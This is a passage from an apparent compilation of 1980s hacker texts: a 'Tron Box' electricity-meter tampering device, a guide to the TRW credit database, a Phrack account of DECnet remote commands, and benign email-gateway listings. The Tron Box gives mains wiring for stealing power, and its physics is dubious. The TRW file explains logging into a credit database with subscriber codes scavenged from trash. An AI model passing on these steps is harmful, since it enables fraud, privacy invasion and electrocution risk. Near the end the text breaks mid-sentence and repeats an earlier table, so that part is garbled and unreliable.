  10582.          (DSR(1/f1)+DSR(1/f2))    128     128
  10583.                                  ----  + ----
  10584.                                  1714    1500
  10585.  
  10586.  
  10587.               DSR = Shift Devider Rate ratio = 128
  10588.                 f1 = High Output Frequency = 1714
  10589.                f2 = Low Output Frequency = 1500
  10590.  
  10591.  
  10592. The Tron Box                 Written by The GREAT Captain Crunch!!
  10593.                              Courtesy of the Jolly Roger
  10594.  
  10595.    ------------------R-----F----
  10596.    I   I   I                   I
  10597.    I   I   I                   I-
  10598.   (C) (C) (C)
  10599.    I   I   I                   I-
  10600.    I   I   I                   I
  10601.    -----------------------------
  10602.  
  10603.  (C)=CAPACITOR
  10604.   F =FUSE
  10605.   R =RESISTOR
  10606.  I,- ARE WIRE
  10607.   PARTS LIST:
  10608.  (3) ELECTROLYTIC CAPACITORS RATED AT 50V(LOWEST) .47UF
  10609.  (1) 20-30OHM 1/2 WATT RESISTOR
  10610.  (1) 120VOLT FUSE (AMP RATING BEST TO USE AT LEAST HALF OF TOTAL
  10611.      HOUSE CURRENT OR EVEN LESS IT KEEPS YOU FROM BLOWING YOUR
  10612.      BREAKER JUST IN CASE...)
  10613.  (1) POWER CORD (CUT UP AN EXTENSTION CORD. NEED PLUG PART AND WIRE)
  10614.  (1) ELECTRICALLY INSULATED BOX
  10615.  
  10616.  
  10617. REST OF SIF YOUR DONT FILL COMFORTABLE ABOUT ELECTRICITY THEN DONT
  10618. PLAY WITH THIS THERE IS VOLTAGE PRESENT THAT WILL
  10619. ***KILL*** YOU......................
  10620.  
  10621. THE THING WORKS WHEN THE LOAD IN YOUR HOUSE IS LOW LIKE AT NIGHT TIME. IT
  10622. WILL PUT A REVERSE PHASE SIGNAL ON THE LINE AND CANCEL OUT THE OTHER PHASE
  10623. AND PUT A REVERSE PHASE RUNNING EVERYTHING IN THE HOUSE. WELL IF YOU HAVE
  10624. EVER SWITCHED THE POWER LEADS ON A D.C. (BATTERY POWERED) MOTOR YOU
  10625. WILL SEE THAT IT RUNS BACKWARDS WELL YOUR ELECTRIC METER SORT OF WORKS
  10626. THIS WAY...SO REVERSE PHASE MAKES THE METER SLOW DOWN AND IF YOUR
  10627. LUCKY IT WILL GO BACKWARDS. ANYWAY IT MEANS A CHEAPER ELECTRIC BILL.
  10628.  
  10629. More TRW Info                          Courtesy of the Jolly Roger
  10630.  
  10631. Trw is a large database in which company's and banks can run credit
  10632. checks on their customers.  Example: John Jones orders 500$ worth of stereo
  10633. equipment from the Joe Blow Electronic distributtng Co.  Well it could be that
  10634. he gave the company a phony credit card number, or doesn't have enough credit, 
  10635. etc.  Well they call up Trw and then run a check on him, trw then lists his 
  10636. card numbers (everything from sears to visa) and tells the numbers, credit,
  10637. when he lost it last (if he ever did) and then of course tells if he has had 
  10638. any prior problems paying his bills.
  10639.  
  10640. I would also like to add that although Trw contains information on
  10641. millions of people, not every part of the country is served, although the major
  10642. area are..  So if you hate someone and live in a small state, you probably
  10643. wont be able to order him 300 pink toilet seats from K-mart.
  10644.  
  10645. Logging on
  10646. ==========
  10647.  
  10648. To log on, you dial-up your local access number (or long-distance, what
  10649. ever turns you on) and wait for it to say "trw" at this promt, you type
  10650. either an "A" or a "Ctrl-G" and it will say "circuit building in progress"
  10651. it will wait for a minute and then clear the screen, now you will type
  10652. one of the following.
  10653.  
  10654. Tca1
  10655. Tca2
  10656. Tnj1
  10657. Tga1
  10658.  
  10659. This is to tell it what geographical area the customer is in, it really
  10660. doesnt matter which you use, because trw will automatically switch when
  10661. it finds the record..
  10662.  
  10663. Next, you will type in the pswd and info on the person you are trying to
  10664. get credit info on:  you type it in a format like this:
  10665.  
  10666. Rts Pswd Lname Fname ...,House number First letter of street name Zip <cr>
  10667. now you type ctrl s and 2 ctrl q's here is what it looks like in real life:
  10668.  
  10669.  
  10670. Ae: Dialing xxx-xxx-xxxx
  10671.  
  10672. (screen clear)
  10673. Trw ^G
  10674.  
  10675. circuit building in progress
  10676.  
  10677. (pause . . . screen clear)
  10678.  
  10679. Tca1
  10680.  
  10681. Rtc 3966785-cm5 Johnson David ...,4567 
  10682. R 56785 
  10683. ^s ^q ^q
  10684.  
  10685. and then it will wait for a few seconds and print out the file on him
  10686. (if it can locate one for the guy)
  10687.  
  10688. note: you may have to push return when you first connect to get the systems
  10689. attention.
  10690.  
  10691. Getting Your Passwords
  10692. ======================
  10693.  
  10694. To obtain pswds, you go down to your favorite bank or sears store and
  10695. dig through the trash (hence the name trashing) looking for printouts, if
  10696. they are a big enough place, and live in a trw area, then they will probably
  10697. have some.  The printouts will have the 7 digit subscriber code, leaving the
  10698. 3-4 digit pswd up to you.  Much like trashing down at good old ma bell.
  10699.  
  10700.  
  10701.  
  10702.  
  10703.  
  10704.                                 ==Phrack Inc.==
  10705.  
  10706.                      Volume Three, Issue 27, File 7 of 12
  10707.  
  10708.                <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
  10709.                <:>                                          <:>
  10710.                <:>          The Making Of A Hacker          <:>
  10711.                <:>                                          <:>
  10712.                <:>        by Framstag of West Germany       <:>
  10713.                <:>                                          <:>
  10714.                <:>                June 2, 1989              <:>
  10715.                <:>                                          <:>
  10716.                <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
  10717.  
  10718.  
  10719. Prologue For None VMS Users
  10720. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10721.      DECnet is the network for DEC machines, in most cases you can say VAXes.
  10722. DECnet allows you to do:   - e-mail
  10723.                            - file transfer
  10724.                            - remote login
  10725.                            - remote command
  10726.                            - remote job entry
  10727.                            - PHONE
  10728.      PHONE is an interactive communication between users and is equal to TALK
  10729. on UNIX or a "deluxe"-CHAT on VM/CMS.
  10730.  
  10731.      BELWUE, the university network of the state Baden-Wuerttemberg in
  10732. West Germany contains (besides other networks) a DECnet with about 400 VAXes.
  10733. On every VAX there is standard-account called DECNET with pw:= DECNET, which is
  10734. not reachable via remote login.  This account is provided for several
  10735. DECnet-Utilities and as a pseudo-guest-account.  The DECNET-account has very
  10736. restricted privileges:  You cannot edit a file or make another remote login.
  10737.  
  10738.     The HELP-menu is equipped by the system and is similar to the MAN command
  10739. on UNIX.
  10740.  
  10741.     More information on DECnet can be found in "Looking Around In DECnet" by
  10742. Deep Thought in this very issue of Phrack Inc.
  10743. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  10744.  
  10745.      Here, at the University of Ulm, we have an *incredibly* ignorant computer
  10746. center staff, with an even bigger lack of system-literature (besides the 80 kg
  10747. of VAX/VMS-manuals).  The active may search for information by himself, which
  10748. is over the level of "run," "FORTRAN," or "logout."  My good luck that I have
  10749. other accounts in the BELWUE-DECnet, where more information is offered for the
  10750. users.  I am a regular student in Ulm and all my accounts are completely legal
  10751. and corresponding to the German laws.  I don't call myself a "hacker," I feel
  10752. more like a "user" (...it's more a defining-problem).
  10753.  
  10754.      In the HELP-menu in a host in Tuebingen I found the file netdcl.com and
  10755. the corresponding explanation, which sends commands to the DECNET-Account of
  10756. other VAXes and executes them there (remote command).  The explanation in the
  10757. HELP-menu was idiot-proof -- therefore for me, too :-)
  10758.  
  10759.      With the command "$ mcr ncp show known nodes" you can obtain a list of all
  10760. netwide active VAXes, as is generally known, and so I pinged all these VAXes to
  10761. look for more information for a knowledge-thirsty user.  With "help", "dir" and
  10762. other similar commands I look around on those DECnet accounts, always watching
  10763. for topics related to the BELWUE-network.  It's a pity, that 2/3 of all VAXes
  10764. have locked the DECNET-Account for NETDCL.COM.  Their system managers are
  10765. probably afraid of unauthorized access, but I cannot imagine how there could be
  10766. such an unauthorized access, because you cannot log on this account -- no
  10767. chance for trojan horses, etc.
  10768.  
  10769.      Some system managers called me back after I visited their VAX to chat with
  10770. me about the network and asked me if they could help me in any way. One sysop
  10771. from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation
  10772. system.
  10773.  
  10774.      Then, after a month, the  H O R R O R  came over me in shape of a the
  10775. following mail:
  10776.  
  10777. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10778. From:   TUEBINGEN::SYSTEM       31-MAY-1989 15:31:11.38
  10779. To:     FRAMSTAG
  10780. CC:
  10781. Subj:   don't make any crap, or you'll be kicked out!
  10782.  
  10783. From:   ITTGPX::SYSTEM       29-MAY-1989 16:46
  10784. To:     TUEBINGEN::SYSTEM
  10785. Subj:   System-breaking-in 01-May-1989
  10786.  
  10787. To the system manager of the Computer TUEBINGEN,
  10788.  
  10789. On May 1st 1989 we had a System-breaking-in in our DECNET-account, which
  10790. started from your machine.  By help of our accounting we ascertained your user
  10791. FRAMSTAG to have emulated an interactive log-on on our backbone-node and on
  10792. every machine of our VAX-cluster with the "trojan horse" NETDCL.COM.  Give us
  10793. this user's name and address and dear up the occurrence completely.  We point
  10794. out that the user is punishable.  In case of repetition we would be forced to
  10795. take corresponding measures.  We will check whether our system got injured.  If
  10796. not, this time we will disregard any measure.  Inform us via DECnet about your
  10797. investigation results -- we are attainable by the nodenumber 1084::system
  10798.  
  10799. Dipl.-Ing. Michael Hager
  10800. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10801.  
  10802.      My system manager threatened me with the deleting of my account, if I
  10803. would not immediately enlighten the affair.  *Gulp*!
  10804.      I was conscious about my innocence, but how to tell it to the others?  I
  10805. explained, step by step, everything to my system manager.  He then understood
  10806. after a while, but the criminal procedure still hovered over me... so, I took
  10807. quickly to my keyboard, to compose file of explanations and to send it to that
  10808. angry system manager in Stuttgart (node 1084 is an institute there).  But no
  10809. way out:  He had run out of disk quota and my explanation-mail sailed into the
  10810. nirwana:
  10811.  
  10812. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10813. $ mail explanation
  10814.   To:   1084::system
  10815. %MAIL-E, error sending to user SYSTEM at 1084
  10816. %MAIL-E-OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
  10817. as output
  10818. -RMS-E-CRE, ACP file create failed
  10819. -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
  10820. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10821.  
  10822.      Also the attempt of a connection with the PHONE-facilty failed:  In his
  10823. borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with
  10824. the REAL-addresses of the virtual DECnet-addresses available (to prevent
  10825. hacking).  Now I stood there with the brand "DANGEROUS HACKER!" and I had no
  10826. chance to vindicate myself.  I poured out my troubles to an acquaintance of
  10827. mine, who is a sysop in the computer-center in Freiburg.  He asked other sysops
  10828. and managers thru the whole BELWUE-network until someone gave him a telephone
  10829. number after a few days -- and that was the right one!
  10830.  
  10831.      I phoned to this Hager and told him what I had done with his
  10832. DECnet-account and also what NOT.  I wanted to know which crime I had
  10833. committed.  He promptly cancelled all of his reproaches, but he did not excuse
  10834. his defamous incriminations.  I entreated him to inform my system manager in
  10835. Tuebingen that I have done nothing illegal and to stop him from erasing my
  10836. account.  This happens already to a fellow student of mine (in this case, Hager
  10837. was also guilty).  He promised me that he would officially cancel his
  10838. reproaches.
  10839.  
  10840.      After over a week this doesn't happen (I'm allowed to use my account
  10841. further on).  In return for it, I received a new mail from Hager on another
  10842. account of mine:
  10843.  
  10844. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10845. From:   1084::HAGER         1-JUN-1989 12:51
  10846. To:     50180::STUD_11
  10847. Subj:   System-breaking-in
  10848.  
  10849. On June 1st 1989 you have committed a system-breaking-in on at least one of our
  10850. VAXes.  We were able to register this occurrence.  We would be forced to take
  10851. further measure if you did not dear up the occurrence completely until June
  10852. 6th.
  10853.  
  10854. Of course the expenses involved would be imposed on you.  Hence enlightenment
  10855. must be in your own interest.
  10856.  
  10857. We are attainable via DECnet-mail with the address 1084::HAGER or via following
  10858. address:
  10859.  
  10860. Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
  10861. Dipl.-Ing. M. Hager    Tel.: 0711/685-6109
  10862. Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
  10863. Pfaffenwaldring 9/10-1
  10864. 7000 Stuttgart-80
  10865.  
  10866.  M. Hager
  10867.  M. Mrzyglod
  10868. --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
  10869.  
  10870. This was the reaction of my attempt: "$ PHONE 1084::SYSTEM".  I have not
  10871. answered to this mail.  I AM SICK OF IT!
  10872.  
  10873.  
  10874.                                    Framstag
  10875.                           (FRAMSTAG@DTUPEV5A.BITNET)
  10876.  
  10877.          With Special Thanks For Translation Assistance To Schrulli B.
  10878. _______________________________________________________________________________
  10879.  
  10880.  
  10881.  
  10882.                                 ==Phrack Inc.==
  10883.  
  10884.                      Volume Three, Issue 28, File #4 of 12
  10885.  
  10886.                               Network Miscellany
  10887.                               ~~~~~~~~~~~~~~~~~~
  10888.                                  by Taran King
  10889.  
  10890.                                  June 1, 1989
  10891.  
  10892.  
  10893. ACSNET
  10894. ~~~~~~
  10895. Australian Computer Science Network (ACSNET), also known as Oz, has its gateway
  10896. through the CSNET node munnari.oz.au and if you cannot directly mail to the
  10897. oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or
  10898. munnari!username@UUNET.UU.NET.
  10899.  
  10900. AT&T MAIL
  10901. ~~~~~~~~~
  10902. AT&T Mail is a mailing service of AT&T, probably what you might call it's
  10903. MCI-Mail equivalent.  It is available on the UUCP network as node name attmail
  10904. but I've had problems having mail get through.  Apparently, it does cost money
  10905. to mail to this service and the surrounding nodes are not willing to pick up
  10906. the tab for the ingoing mail, or at least, this has seemingly been the case
  10907. thus far.  I believe, though, that perhaps routing to att!attmail!user would
  10908. work.
  10909.  
  10910. AT&T recently announced six new X.400 interconnections between AT&T Mail and
  10911. electronic mail services in the U.S., Korea, Sweden, Australia, and Finland.
  10912. In the U.S., AT&T Mail is now interconnected with Telenet Communications
  10913. Corporation's service, Telemail, allowing users of both services to exchange
  10914. messages easily.  With the addition of these interconnections, the AT&T Mail
  10915. Gateway 400 Service allows AT&T Mail subscribers to exchange messages with
  10916. users of the following electronic messaging systems:
  10917.  
  10918. Company                    E-Mail Name*            Country
  10919. -------                    ------------            -------
  10920. TeleDelta                  TeDe 400                Sweden
  10921. OTC                        MPS400                  Australia
  10922. Telecom-Canada             Envoy100                Canada
  10923. DACOM                      DACOM MHS               Korea
  10924. P&T-Tele                   MailNet 400             Finland
  10925. Helsinki Telephone Co.     ELISA                   Finland
  10926. Dialcom                    Dialcom                 USA
  10927. Telenet                    Telemail                USA
  10928. KDD                        Messavia                Japan
  10929. Transpac                   ATLAS400                France
  10930.  
  10931. The interconnections are based on the X.400 standard, a set of guidelines for
  10932. the format, delivery and receipt of electronic messages recommended by an
  10933. international standards committee the CCITT.  International X.400 messages
  10934. incur a surcharge.  They are:
  10935.  
  10936.                  To Canada:
  10937.                     Per note:            $.05
  10938.                     Per message unit:    $.10
  10939.  
  10940.                  To other international locations:
  10941.                     Per note:            $.20
  10942.                     Per message unit:    $.50
  10943.  
  10944. There is no surcharge for X.400 messages within the U.S.  The following are
  10945. contacts to speak with about mailing through these mentioned networks.  Other
  10946. questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672.
  10947.  
  10948. MHS Gateway:  mhs!atlas                     MHS Gateway:  mhs!dacom
  10949. Administrator:  Bernard Tardieu             Administrator:  Bob Nicholson
  10950. Transpac                                    AT&T
  10951. Phone:  3399283203                          Morristown, NJ  07960
  10952. Phone:  +1 201 644 1838
  10953.  
  10954. MHS Gateway:  mhs!dialcom                   MHS Gateway:  mhs!elisa
  10955. Administrator:  Mr. Laraman                 Administrator:  Ulla Karajalainen
  10956. Dialcom                                     Nokia Data
  10957. South Plainfield, NJ  07080                 Phone:  01135804371
  10958. Phone:  +1 441 493 3843
  10959.  
  10960. MHS Gateway:  mhs!envoy                     MHS Gateway:  mhs!kdd
  10961. Administrator:  Kin C. Ma                   Administrator:  Shigeo Lwase
  10962. Telecom Canada                              Kokusai Denshin Denwa CO.
  10963. Phone:  +1 613 567 7584                     Phone:  8133477419
  10964.  
  10965. MHS Gateway:  mhs!mailnet                   MHS Gateway:  mhs!otc
  10966. Administrator:  Kari Aakala                 Administrator:  Gary W. Krumbine
  10967. Gen Directorate Of Post &                   AT&T Information Systems
  10968. Phone:  35806921730                         Lincroft, NJ  07738
  10969.                                             Phone:  +1 201 576 2658
  10970.  
  10971. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  10972. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  10973. GTE Telenet Comm Corp                                       Gateway
  10974. Reston, VA  22096                           AT&T
  10975. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  10976.                                             Phone:  +1 800 624 5672
  10977.  
  10978. CMR
  10979. ~~~
  10980. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  10981. mail relay service between the Internet and three commercial electronic mail
  10982. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  10983. NSFMAIL, and USDA-MAIL).
  10984.  
  10985. An important note:  The only requirement for using this mail gateway is that
  10986. the work conducted must be DARPA sponsored research and other approved
  10987. government business.  Basically, this means that unless you've got some
  10988. government-related business, you're not supposed to be using this gateway.
  10989. Regardless, it would be very difficult for them to screen everything that goes
  10990. through their gateway.  Before I understood the requirements of this gateway, I
  10991. was sending to a user of MCI-Mail and was not contacted about any problems with
  10992. that communication.  Unfortunately, I mistyped the MCI-Mail address on one of
  10993. the letters and that letter ended up getting read by system administrators who
  10994. then informed me that I was not to be using that system, as well as the fact
  10995. that they would like to bill me for using it.  That was an interesting thought
  10996. on their part anyway, but do note that using this service does incur charges.
  10997.  
  10998. The CMR mailbox address in each system corresponds to the label:
  10999.  
  11000.           Telemail:  [Intermail/USCISI]TELEMAIL/USA
  11001.           MCI-Mail:  Intermail      or      107-8239
  11002.           CompMail:  Intermail      or      CMP0817
  11003.           NSF-Mail:  Intermail      or      NSF153
  11004.          USDA-Mail:  Intermail      or      AGS9999
  11005.  
  11006. Addressing examples for each e-mail system are as follows:
  11007.  
  11008. MCIMAIL:
  11009.    123-4567             seven digit address
  11010.    Everett T. Bowens    person's name (must be unique!)
  11011.  
  11012. COMPMAIL:
  11013.    CMP0123              three letters followed by three or four digits
  11014.    S.Cooper             initial, then "." and then last name
  11015.    134:CMP0123          domain, then ":" and then combination system and
  11016.                         account number
  11017.  
  11018. NSFMAIL:
  11019.    NSF0123              three letters followed by three or four digits
  11020.    A.Phillips           initial, then "." and then last name
  11021.    157:NSF0123          domain, then ":" and then combination system and
  11022.                          account number
  11023.  
  11024. USDAMAIL:
  11025.    AGS0123              three letters followed by three or four digits
  11026.    P.Shifter            initial, then "." and then last name
  11027.    157:AGS0123          domain, then ":" and then combination system and
  11028.                          account number
  11029.  
  11030. TELEMAIL:
  11031.    BARNOC               user (directly on Telemail)
  11032.    BARNOC/LODH          user/organization (directly on Telemail)
  11033.    [BARNOC/LODH]TELEMAIL/USA
  11034.                          [user/organization]system branch/country
  11035.  
  11036. The following are other Telenet system branches/countries that can be mailed
  11037. to:
  11038.  
  11039. TELEMAIL/USA     NASAMAIL/USA     MAIL/USA            TELEMEMO/AUSTRALIA
  11040. TELECOM/CANADA   TOMMAIL/CHILE    TMAILUK/GB          ITALMAIL/ITALY
  11041. ATI/JAPAN        PIPMAIL/ROC      DGC/USA             FAAMAIL/USA
  11042. GSFC/USA         GTEMAIL/USA      TM11/USA            TNET.TELEMAIL/USA
  11043. USDA/USA
  11044.  
  11045.      Note:  OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to
  11046. it, the format would be [A.MAILBOX/OMNET]MAIL/USA.  The following are available
  11047. subdivisions of OMNET:
  11048.  
  11049.          AIR     Atmospheric Sciences
  11050.          EARTH   Solid Earth Sciences
  11051.          LIFE    Life Sciences
  11052.          OCEAN   Ocean Sciences
  11053.          POLAR   Interdisciplinary Polar Studies
  11054.          SPACE   Space Science and Remote Sensing
  11055.  
  11056. The following is a list of DIALCOM systems available in the listed countries
  11057. with their domain and system numbers:
  11058.  
  11059. Service Name            Country             Domain Number    System Number
  11060. ~~~~~~~~~~~~            ~~~~~~~             ~~~~~~~~~~~~~    ~~~~~~~~~~~~~
  11061. Keylink-Dialcom         Australia           60               07, 08, 09
  11062. Dialcom                 Canada              20               20, 21, 22, 23, 24
  11063. DPT Databoks            Denmark             124              71
  11064. Telebox                 Finland             127              62
  11065. Telebox                 West Germany        30               15, 16
  11066. Dialcom                 Hong Kong           80               88, 89
  11067. Eirmail                 Ireland             100              74
  11068. Goldnet                 Israel              50               05, 06
  11069. Mastermail              Italy               130              65, 67
  11070. Mastermail              Italy               1                66, 68
  11071. Dialcom                 Japan               70               13, 14
  11072. Dialcom                 Korea               1                52
  11073. Telecom Gold            Malta               100              75
  11074. Dialcom                 Mexico              1                52
  11075. Memocom                 Netherlands         124              27, 28, 29
  11076. Memocom                 Netherlands         1                55
  11077. Starnet                 New Zealand         64               01, 02
  11078. Dialcom                 Puerto Rico         58               25
  11079. Telebox                 Singapore           88               10, 11, 12
  11080. Dialcom                 Taiwan              1                52
  11081. Telecom Gold            United Kingdom      100              01, 04, 17,
  11082. 80-89
  11083. DIALCOM                 USA                 1                29, 30, 31, 32,
  11084.                                                              33, 34, 37, 38,
  11085.                                                              41-59, 61, 62, 63,
  11086.                                                              90-99
  11087.  
  11088.  NOTE:  You can also mail to username@NASAMAIL.NASA.GOV or
  11089.         username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to
  11090.         mail to NASAMAIL or GSFCMAIL.
  11091.  
  11092. For more information and instructions on how to use CMR, send a message to the
  11093. user support group at intermail-request@intermail.isi.edu (you'll get basically
  11094. what I've listed plus maybe a bit more).  Please read Chapter 3 of The Future
  11095. Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
  11096. destination mailing systems.
  11097.  
  11098. COMPUSERVE
  11099. ~~~~~~~~~~
  11100. CompuServe is well known for its games and conferences.  It does, though, have
  11101. mailing capability.  Now, they have developed their own Internet domain, called
  11102. COMPUSERVE.COM.  It is relatively new and mail can be routed through either
  11103. TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
  11104.  
  11105. Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
  11106.          TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
  11107.  
  11108. The CompuServe link appears to be a polled UUCP connection at the gateway
  11109. machine.  It is actually managed via a set of shell scripts and a comm utility
  11110. called xcomm, which operates via command scripts built on the fly by the shell
  11111. scripts during analysis of what jobs exist to go into and out of CompuServe.
  11112.  
  11113. CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
  11114. 7xxxx.yyyy@compuserve.com.  CompuServe employees can be addressed by their
  11115. usernames in the csi.compuserve.com subdomain.  CIS subscribers write mail to
  11116. ">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
  11117. ">gateway:" is CompuServe's internal gateway access syntax.  The gateway
  11118. generates fully-RFC-compliant headers.
  11119.  
  11120. To fully extrapolate -- from the CompuServe side, you would use their EasyPlex
  11121. mail system to send mail to someone in BITNET or the Internet.   For example,
  11122. to send me mail at my Bitnet id, you would address it to:
  11123.  
  11124.             INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
  11125.  
  11126. Or to my Internet id:
  11127.  
  11128.             INET:C488869@UMCVMB.MISSOURI.EDU
  11129.  
  11130. Now, if you have a BITNET to Internet userid, this is a silly thing to do,
  11131. since your connect time to CompuServe costs you money.  However, you can use
  11132. this information to let people on CompuServe contact YOU.  CompuServe Customer
  11133. Service says that there is no charge to either receive or send a message to the
  11134. Internet or BITNET.
  11135.  
  11136. DASNET
  11137. ~~~~~~
  11138. DASnet is a smaller network that connects to the Wide-Area Networks but charges
  11139. for their service.  DASnet subscribers get charged for both mail to users on
  11140. other networks AND mail for them from users of other networks.  The following
  11141. is a brief description of DASnet, some of which was taken from their
  11142. promotional text letter.
  11143.  
  11144. DASnet allows you to exchange electronic mail with people on more than 20
  11145. systems and networks that are interconnected with DASnet.  One of the
  11146. drawbacks, though, is that, after being subscribed to these services, you must
  11147. then subscribe to DASnet, which is a separate cost.  Members of Wide-Area
  11148. networks can subscribe to DASnet too.  Some of the networks and systems
  11149. reachable through DASnet include the following:
  11150.  
  11151.      ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
  11152.      Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
  11153.      PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
  11154.      Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The
  11155.      WELL, and Domains (i.e. ".COM" and ".EDU" etc.).  New systems are added
  11156.      all of the time.  As of the writing of this file, Connect, GoverNET,
  11157.      MacNET, and The American Institute of Physics PI-MAIL are soon to be
  11158.      connected.
  11159.  
  11160. You can get various accounts on DASnet including:
  11161.  
  11162.   o  Corporate Accounts -- If your organization wants more than one individual
  11163.                            subscription.
  11164.   o  Site Subscriptions -- If you want DASnet to link directly to your
  11165.                            organization's electronic mail system.
  11166.  
  11167. To send e-mail through DASnet, you send the message to the DASnet account on
  11168. your home system.  You receive e-mail at your mailbox, as you do now.  On the
  11169. Wide-Area Networks, you send mail to XB.DAS@STANFORD.BITNET.  On the Subject:
  11170. line, you type the DASnet address in brackets and then the username just
  11171. outside of them.  The real subject can be expressed after the username
  11172. separated by a "!"  (Example:  Subject:  [0756TK]randy!How's Phrack?).
  11173.  
  11174. The only disadvantage of using DASnet as opposed to Wide-Area networks is the
  11175. cost.  Subscription costs as of 3/3/89 cost $4.75 per month or $5.75 per month
  11176. for hosts that are outside of the U.S.A.
  11177.  
  11178. You are also charged for each message that you send.  If you are corresponding
  11179. with someone who is not a DASnet subscriber, THEIR MAIL TO YOU is billed to
  11180. your account.
  11181.  
  11182. The following is an abbreviated cost list for mailing to the different services
  11183. of DASnet:
  11184.  
  11185.      PARTIAL List                DASnet Cost    DASnet Cost
  11186.      of Services                  1st 1000    Each Add'l 1000
  11187.      Linked by DASnet (e-mail)   Characters     Characters:
  11188.  
  11189.      INET, MacNET, PeaceNet,                             NOTE:  20 lines
  11190.      Unison, UUCP*, Domains,        .21            .11   of text is app.
  11191.      e.g. .COM, .EDU*                                    1000 characters.
  11192.  
  11193.      Dialcom--Any "host" in U.S.    .36            .25
  11194.  
  11195.      Dialcom--Hosts outside U.S.    .93            .83
  11196.  
  11197.      EasyLink (From EasyLink)       .21            .11
  11198.               (To EasyLink)         .55            .23
  11199.  
  11200.      U.S. FAX (internat'l avail.)   .79            .37
  11201.  
  11202.      GeoMail--Any "host" in U.S.    .21            .11
  11203.      GeoMail--Hosts outside U.S.    .74            .63
  11204.  
  11205.      MCI  (from MCI)                .21            .11
  11206.           (to MCI)                  .78            .25
  11207.           (Paper mail - USA)       2.31            .21
  11208.  
  11209.      Telemail                       .36            .25
  11210.  
  11211.      W.U. Telex--United States     1.79           1.63
  11212.      (You can also send Telexes outside the U.S.)
  11213.  
  11214.      TWICS--Japan                   .89            .47
  11215.  
  11216.   *  The charges given here are to the gateway to the network.  The DASnet
  11217.      user is not charged for transmission on the network itself.
  11218.  
  11219. Subscribers to DASnet get a free DASnet Network Directory as well as a listing
  11220. in the directory, and the ability to order optional DASnet services like
  11221. auto-porting or DASnet Telex Service which gives you your own Telex number and
  11222. answerback for $8.40 a month at this time.
  11223.  
  11224. DASnet is a registered trademark of DA Systems, Inc.
  11225.  
  11226.                                DA Systems, Inc.
  11227.                              1503 E. Campbell Ave.
  11228.                               Campbell, CA  95008
  11229.                                  408-559-7434
  11230.                              TELEX:  910 380-3530
  11231.  
  11232. The following two sections on PeaceNet and AppleLink are in association with
  11233. DASnet as this network is what is used to connect00             Finland
  11234. Helsinki Telephone Co.     ELISA                   Finland
  11235. Dialcom                    Dialcom                 USA
  11236. Telenet                    Telemail                USA
  11237. KDD                        Messavia                Japan
  11238. Transpac                   ATLAS400                France
  11239.  
  11240. The interconnections are based on the X.400 standard, a set of guidelines for
  11241. the format, delivery and receipt of electronic messages recommended by an
  11242. international standards committee the CCITT.  International X.400 messages
  11243. incur a surcharge.  They are:
  11244.  
  11245.                  To Canada:
  11246.                     Per note:            $.05
  11247.                     Per message unit:    $.10
  11248.  
  11249.                  To other international locations:
  11250.                     Per note:            $.20
  11251.                     Per message unit:    $.50
  11252.  
  11253. There is no surcharge for X.400 messages within the U.S.  The following are
  11254. contacts to speak with about mailing through these mentioned networks.  Other
  11255. questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672.
  11256.  
  11257. MHS Gateway:  mhs!atlas                     MHS Gateway:  mhs!dacom
  11258. Administrator:  Bernard Tardieu             Administrator:  Bob Nicholson
  11259. Transpac                                    AT&T
  11260. Phone:  3399283203                          Morristown, NJ  07960
  11261. Phone:  +1 201 644 1838
  11262.  
  11263. MHS Gateway:  mhs!dialcom                   MHS Gateway:  mhs!elisa
  11264. Administrator:  Mr. Laraman                 Administrator:  Ulla Karajalainen
  11265. Dialcom                                     Nokia Data
  11266. South Plainfield, NJ  07080                 Phone:  01135804371
  11267. Phone:  +1 441 493 3843
  11268.  
  11269. MHS Gateway:  mhs!envoy                     MHS Gateway:  mhs!kdd
  11270. Administrator:  Kin C. Ma                   Administrator:  Shigeo Lwase
  11271. Telecom Canada                              Kokusai Denshin Denwa CO.
  11272. Phone:  +1 613 567 7584                     Phone:  8133477419
  11273.  
  11274. MHS Gateway:  mhs!mailnet                   MHS Gateway:  mhs!otc
  11275. Administrator:  Kari Aakala                 Administrator:  Gary W. Krumbine
